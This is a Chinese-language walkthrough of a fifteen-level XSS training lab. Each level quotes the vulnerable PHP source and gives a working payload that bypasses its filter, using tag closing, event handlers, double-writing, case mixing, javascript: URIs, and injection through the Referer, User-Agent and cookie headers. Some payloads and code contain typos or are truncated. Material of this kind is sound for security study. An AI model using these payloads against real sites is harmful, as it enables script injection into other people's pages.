level1

源码分析:
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户:".$str."</h2>";
?>
<script>
window.alert = function()
{
confirm("哎哟 不错哦!");
window.location.href="level2.php?keyword=跨站师";
}
</script>
没做任何的限制,输入xss-payload,window.alert检测到弹窗进入下一关
<img src=1 onerror=alret()>
level2

源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
第一处输出使用了 htmlspecialchars() 处理了 $str,防止了注入:
第二处input进行写入的时候没有做限制,
这一关也非常的简单进行闭合即可进行绕过
"><img src=1 onerror=alert()>
level3

源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
两处输入点全用htmlspecialchars进行过滤,所以这一关的考察点就非常的明显了
就是如何绕过htmlspecialchars
htmlspecialchars()函数
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
- &:转换为&
- ":转换为"
- ':转换为成为 '
- <:转换为<
>:转换为>
如何绕过
仅适用于PHP 版本低于 8.1.0。在 8.1.0 版本中此漏洞已经修复。
payload
' onmouseover=javascript:alert(1) '
或
' onclick='alert(123)'
level4

源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 /
</form>
</center>';
?>
和上一关的绕过htmlspecialchars差不多只不过多加两个符号的替换为空
payload
" onclick="alert(123)"
level5

源码分析:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
还是进行替换,找标签进行闭合
payload
"><a href=javascript:alert('hack') >
level6

源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
没有进行大小写绕过,可以直接进行绕过
"><ScRipt>alert()</ScrIpt>
level7

<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
这个只进行替换了一次的空
$str2=str_replace("script","",$str);
进行双写即可进行绕过
"><scrscriptipt>alert()</scrscriptipt>
level8

源码分析:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
只需要html实体化编码一下就可以进行绕过
payload
javascript:alert(1)
level9

源码分析
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
和上一关差不多,只不过这一关加了一个if判断,必须链接要加http://
后面进行注释即可进行绕过
payload
javascript:alert(1) //http://
level10

源码分析:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
查看标签有个隐藏的表单,分析过滤了<>标签,我们可以用"闭合双引号,添加 onmouseover 属性来达到我们的目的。
当然也需要把元素 hidden进行闭合掉,
那我们在其之前加入一个空的 type 就可以覆盖掉后面的设置
" onmouseover=javascript:alert(1) type ""
进行闭合结果如下
<input name="t_sort" value="" onmouseover=javascript:alert(1) type "" type="hidden">
即可触发弹窗
level11

源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
加了一个$str11=$_SERVER['HTTP_REFERER']; 我们需要加用Referer头进行输入才可以进行触发弹窗
道理和前面是一样的,直接用上一关的payload即可
" onmouseover=javascript:alert(1) type ""

level12

源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
换成了UA头,还是一样,秒过
User-Agent=" onmouseover=javascript:alert(1) type ""
level13

源码分析
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
还是一样

level14

源码分析
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
这里可以利用其包含其他关的页面来触发弹窗
?src="level1.php?name=<img src=1 onerror=alert(1)>"
由于源码中的https://chao.jsanhuan.cn/angular.min.js这个外部脚本文件已经不能访问了
所以payload是弹不出来的,正常是可以弹出的
level15

源码分析:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
这一关主要是绕过空格,这边空格可以用%0a进行替代
"%oa<img%0asrc=1%0aonerror=alert(1)>
